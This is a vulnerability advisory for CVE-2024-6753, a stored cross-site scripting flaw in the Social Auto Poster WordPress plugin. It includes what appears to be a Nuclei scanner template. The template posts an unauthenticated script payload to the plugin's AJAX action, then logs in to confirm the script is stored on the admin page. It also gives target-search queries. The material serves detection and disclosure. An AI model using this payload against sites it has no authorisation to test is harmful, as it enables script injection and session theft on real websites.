CVE-2024-6753: Social Auto Poster <= 5.3.14 - Stored Cross-Site Scripting

2026-01-08 Social Auto Poster PoC Public

Description

Social Auto Poster plugin for WordPress versions up to 5.3.14 contains a stored cross-site scripting caused by insufficient sanitization and escaping of 'mapTypes' parameter in the 'wpw_auto_poster_map_wordpress_post_type' AJAX function, letting unauthenticated attackers inject and execute arbitrary scripts when users access affected pages.

PoC

id: CVE-2024-6753

info:
  name: Social Auto Poster <= 5.3.14 - Stored Cross-Site Scripting
  author: Shivam Kamboj
  severity: high
  description: |
    Social Auto Poster plugin for WordPress versions up to 5.3.14 contains a stored cross-site scripting caused by insufficient sanitization and escaping of 'mapTypes' parameter in the 'wpw_auto_poster_map_wordpress_post_type' AJAX function, letting unauthenticated attackers inject and execute arbitrary scripts when users access affected pages.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3c268a6d-dfb4-4a9d-802e-80e5c1c53ca2
    - https://patchstack.com/database/vulnerability/social-auto-poster/wordpress-social-auto-poster-plugin-5-3-14-unauthenticated-stored-cross-site-scripting-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6753
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2024-6753
    cwe-id: CWE-79
    epss-score: 0.00822
    epss-percentile: 0.55518
  metadata:
    verified: true
    max-request: 4
    shodan-query: http.component:"WordPress"
    fofa-query: body="social-auto-poster"
  tags: cve,cve2024,wordpress,wp,wp-plugin,social-auto-poster,xss,vkev,vuln

flow: (http(1) && http(2)) || (http(3) && http(4))

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpw_auto_poster_map_wordpress_post_type&mapTypes=xss_test:<script>alert(document.domain)</script>&postType=post

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{\"status\":\"success\"}")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=wpw-auto-poster-settings HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502203bf5839fad6882f3f3411f204d465e6903d167b65eb80e9c40d224ea38b6b403022100f4c1853c78e20af58c1dda21870dc75c3150d51a0e5a5573f73aaffd973c0a6c:922c64590222798bb761d5b6d8e72950

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